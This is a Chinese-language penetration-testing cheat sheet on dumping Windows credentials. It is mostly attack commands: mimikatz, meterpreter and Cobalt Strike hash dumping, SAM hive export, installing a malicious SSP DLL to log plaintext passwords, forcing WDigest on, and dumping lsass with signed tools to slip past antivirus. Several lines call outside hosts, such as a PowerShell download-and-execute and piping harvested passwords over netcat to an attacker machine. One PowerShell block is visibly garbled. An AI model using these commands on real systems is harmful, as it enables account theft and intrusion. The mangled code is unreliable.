常见凭证获取方法
Windows下凭证获取
系统密文数据
原理介绍
SAM系统安全账号管理,是微软设计的一个安全机制,为了保护账号以及密码的安全性。路径是C:/windows/system32/config/SA,该文件是无法修改和删除的,它一直和系统内存交互。里面的用户密码都是加密处理,加密算法有两类:LM hash和NT hash,前者已经废除,不再使用,现在系统(>=window 7&&>=window server 2008)中主要使用的是NT hash。
工具使用
接下来讲解常见的window系统hash获取的方法和工具。
(1)QuarksPwDump -dhl
(2)wce /wce -l
(3)pwdump7
(4)meterpreter
- hashdump(system权限)
-
- run post/windows/gather/smart_hashdump(administrator权限)
-
- run post/windows/gather/hashdump(system权限)
load mimikatz 命令加载mimikatz
msv 获取hash
kerberos 获取明文
ssp 获取明文信息
tspkg 尝试检索tspkg凭据
wdigest 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes 获取hash
mimikatz_command -f sekurlsa::searchPasswords 获取明文密码
使用meterpreter中扩展模块kiwi获取系统hash
load kiwi 当前的meterpreter中加载mimikatz。版本是2.2,在加载是会看到版本或者执行命令:kiwi_cmd version
creds_all
creds_msv
kiwi_cmd "privilege::debug" 开启debug权限
kiwi_cmd "sekurlsa::msv" 获取系统hash
方法1:离线方式
SAM导出hive,导入mimikatz,可以获取hash
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
方法2:在线方式
mimikatz.exe “privilege::debug” “lsadump::lsa /inject”
Get-PassHashes.ps1
如果该脚本要在目标服务器中执行,则需要先上传到目标主机中,在提权只有的终端执行powershell脚本,下图所示在meterprreter中执行。
或者远程加载使用
powershell iex (New-Object Net.WebClient).DownloadString('http://XXXXX/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC。下载地址 GitHub - AlessandroZ/LaZagne: Credentials recovery project
LaZagne.exe all
密文破解
本地破解
(1)Ophcrack
(2)Cain
Hashcat
SAMinside
在线破解hash网站
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php
下面罗列了一些在线的破解网站:
国内Md5解密<br> | 国外Md5解密<br> |
---|---|
[md5解密,md5加密,md5加密解密,md5在线解密,md5免费破解,md5密码破解,md5免费查询,免费MD5密码查询,免费破解](md5解密,md5加密,md5加密解密,md5在线解密,md5免费破解,md5密码破解,md5免费查询,免费MD5密码查询,免费破解" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[md5在线解密_md5解密加密 - 查md5啦[cmd5.la]](md5在线解密_md5解密加密 - 查md5啦[cmd5.la]" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[md5在线解密破解,md5解密加密](md5在线解密破解,md5解密加密" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[md5解密 MD5在线解密 破解md5](md5解密 MD5在线解密 破解md5" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[md5解密|md5在线解密 - 全球唯一8位小写+数字全收录的解密网站](md5解密|md5在线解密 - 全球唯一8位小写+数字全收录的解密网站" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[https://md5.navisec.it/](https://md5.navisec.it/" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[http://md5.tellyou.top/](http://md5.tellyou.top/" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[MD5免费在线解密破解_MD5在线加密-SOMD5](MD5免费在线解密破解_MD5在线加密-SOMD5" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[MD5在线解密|md5在线破解|批量破解md5网站 - ChaMd5.Org](MD5在线解密|md5在线破解|批量破解md5网站 - ChaMd5.Org" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br> | [MD5TR - Md5 Oluştur, Youtube Video İndir, mp3 İndir](MD5TR - Md5 Oluştur, Youtube Video İndir, mp3 İndir" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[Biggest online MD5 database of Internet, size 4700 million unique hashes](Biggest online MD5 database of Internet, size 4700 million unique hashes" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[MD5 conversion and MD5 reverse lookup](MD5 conversion and MD5 reverse lookup" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[https://www.md5decrypt.org/](https://www.md5decrypt.org/" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[Md5 Online Decrypt & Encrypt - More than 15.000.000.000 hashes](Md5 Online Decrypt & Encrypt - More than 15.000.000.000 hashes" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[Ultimate Hashing and Anonymity toolkit](Ultimate Hashing and Anonymity toolkit" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online](Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[Hash Lookup / WhatsMyIP.org](Hash Lookup / WhatsMyIP.org" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[MD5 Online | Free MD5 Decryption, MD5 Hash Decoder](MD5 Online | Free MD5 Decryption, MD5 Hash Decoder" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br>[MD5 Passwörter entschlüsseln ッ](MD5 Passwörter entschlüsseln ッ" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br> |
MySQL破解:[https://www.mysql-password.com/hash](https://www.mysql-password.com/hash" \t "/private/var/folders/wl/ckb_44_x15q4dr6tvw29yy1r0000gn/T/com.kingsoft.wpsoffice.mac/wps-huqianwei/x/_blank)<br> |
Hash使用
如果密码确实很复杂,线下和线上的破译方法均无解,则可以考虑使用PTH(pass the hash,hash传递)。具体内容见后续讲解。
系统明文密码
低版本(xp/win7/win8/8.1/2003/2008/2008r2/2012)或者没打补丁的系统获取明文时候,有如下的方式。
MSF
getsystem
load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
load kiwi
GetPassword_x64.exe
Wce
Wce -w
Mimikatz
(1)基本用法
cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords--获登陆用户信息及密码
下面是mimiakatz2.2版本的使用方法:
(2)高级用法
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir 记录输出
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt 导出到指定的文件
输出到远程主机:
攻击机监听:nc –lvvp 9999
肉鸡:mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.2.101 9999
- 攻击机执行:nc –lvvp 2222
-
- 肉鸡监听: nc.exe -vv 192.168.2.96 2222 -e mimikatz.exe
-
- privilege::debug
-
- sekurlsa::logonpasswords
SSP记录明文密码
安全支持提供程序(SSP)是一个DLL文件,用于扩展Windows身份验证机制。LSASS进程在启动时会加载安全支持提供程序SSP。如果替换某个SSP为恶意SSP,或者将SSP文件上传,修改LSA注册表使之启动时加载,然后我们就可以利用恶意DLL将输入LSASS程序的明文密码保存下来,实现抓明文密码。
此方法适用于win8/win2012后无法获取明文密码,或者维持域控、在域控上抓用户密码,注意前提是有管理员权限
方法1:SSP文件落地
Mimilib.dll是Windbg的插件,它是mimikatz的子工程,可以使用该文件导出一些函数,辅助渗透。下面介绍几个常用的方法。
记录明文口令:SpLsaModeInitialize
将mimilib.dll保存至c:\windows\System32,修改注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\。注册表项Security Packages的值添加一个mimilib
重新启动系统。进程lsass.exe将会加载mimilib.dll,同时在c:\windows\System32生成文件kiwissp.log,记录当前用户的明文口令,测试结果如图:
方法2:SSP文件不落地
mimikatz支持向lsass注入ssp,此技术不需要将mimilib.dll放入磁盘或创建注册表项,不需要重启既可以获取账户信息。缺点就是重新启动后失效
privilege::debug
misc::memssp
注意:修改完之后锁屏:rundll32 user32.dll LockWorkStatio
等用户输入密码登录后,将在System32中创建一个日志文件记录明文密码:C:\Windows\System32\mimilsa.log
方法3:记录修改的密码
mimilib.dll里面的函数很多,功能很强,还有一个功能就是记录你修改的密码,将mimilib.dll移动到System32路径下。修改hklm\System\CurrentControlSet\Control\Lsa注册表Notification Packages项的值,在其中添加一个mimilib。
reg add "hklm\System\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\:0mimilib" /f
重新启动系统,当系统发生修改密码的事件时,将生成一个日志文件记录用户新修改的明文密码:C:\Windows\System32\kiwifilter.log
Getpass.exe
powershell脚本
使用Invoke-Mimikatz.ps1、Out-Minidump.ps1等脚本获取目标主机的明文密码,下面使用远程加载脚本的方式执行。
Out-Minidump.ps1脚本可以现导出系统缓存文件dumps,最后使用mimikatz.ex在dumps文件中获取明文密码
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit
CS获取系统hash以及明文密码
Dump Hashes #获取hash
Run Mimikatz #运行 Mimikatz
在获取某个主机的beacon中可以执行如下命令来获取hash和密码
hashdump 获取hash值
logonpasswords 相当于mimikatz_command -f sekurlsa::searchPasswords
高版本系统密码获取
在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)。从 Windows 8.1 和 Windows Server 2012 R2 开始,LM 哈希和“纯文本”密码将不在内存中生成。
Windows 7/8/2008 R2/2012 需要打 kb2871997 补丁,同时为了防止在 LSASS 进程中放置“明文”密码,下面的注册表键需要被设置为“0”(禁用摘要)。
- 攻击的思路是,将其设置为1,强制将“明文”密码放置在 LSASS 进程中。接下来的测试步骤有:修改注册表、锁屏(关机,但不推荐)、等待管理员登录
-
- 修改注册表:
cmd<br> | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f<br> |
---|---|
powershell<br> | Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1<br> |
meterpreter<br> | reg setval -k HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -v UseLogonCredential -t REG_DWORD -d 1<br> |
锁屏:
cmd<br> | rundll32 user32.dll,LockWorkStation<br> |
---|---|
powershell<br> | powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');"<br> |
Lock-WorkStation.ps1代码如下:
|Function Lock-WorkStation <br>{<br>signature=@"<br>[DllImport("user32.dll",SetLastError=true)]<br>publicstaticexternboolLockWorkStation();<br>"@<br>signature = @"<br>[DllImport("user32.dll", SetLastError = true)]<br>public static extern bool LockWorkStation();<br>"@<br>signature=@"<br>[DllImport("user32.dll",SetLastError=true)]<br>publicstaticexternboolLockWorkStation();<br>"@<br>LockWorkStation = Add-Type -memberDefinition signature−name"Win32LockWorkStation"−namespaceWin32Functions−passthru<br>signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru<br>signature−name"Win32LockWorkStation"−namespaceWin32Functions−passthru<br>LockWorkStation::LockWorkStation() | Out-Null<br>}<br>Lock-WorkStation<br>| |-|
离线获取明文密码(绕过AV)
**SqlDumper + mimikatz **(高版本的操作系统用如下的方法是否导出密码?)
|查看lsass.exe 的ProcessID:tasklist /svc |findstr lsass.exe<br>导出dump文件:Sqldumper.exe ProcessID(进程ID) 0 0x01100<br>mimikatz加载dump文件:<br>mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"<br>| |-|
Procdump + mimikatz
SharpDump+ mimikatz
Avast+ mimikatz
通过Avast杀软自带AvDump.exe进行内存转储,因为带有杀软自身签名,所以一般不会被检测和查杀
tasklist /svc |findstr lsass 查看lsass的PID
.\avdump.exe --pid 640 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ \lsass.dmp
注意:默认情况下,在管理员权限下的,打开cmd终端直接运行上面的代码获取的lsass.dmp文件是空的,因为没有cmd下管理员权限的用户没有开启sedebug权限。该权限的主要作用是:调试和调整属于其它账号的进程内存,它允许用户绑定一个调试器到任何进程,它提供访问敏感和关键的操作系统组件,用户模式下的应用程序声称为 "调试程序"
解决方法:pstools/impacket
mimikaez.exe "sekurlsa::minidump lass.dmp" "sekurlsa::logonpasswords full" exit
参考链接
Dumping Memory with AV - Avast Home Security · Arch Cloud Labs
https://github.com/rapid7/metasploit-framework/pull/14298
Credential Dumping: Wireless
Credential Dumping: Group Policy Preferences (GPP)
Credential Dumping: Windows Credential Manager
Credential Dumping: WDigest
Credential Dumping: Security Support Provider (SSP)
Credential Dumping: SAM
Credential Dumping: Applications
Credential Dumping: NTDS.dit
Credential Dumping: Phishing Windows Credentials
Credential Dumping: Local Security Authority (LSA|LSASS.EXE)
Credential Dumping: Clipboard
Credential Dumping: DCSync Attack
Credential Dumping: LAPS
Credential Dumping: Domain Cache Credential
Credential Dumping: Fake Services
Credential Dumping: Windows Autologon Password
无需修改注册表抓取明文密码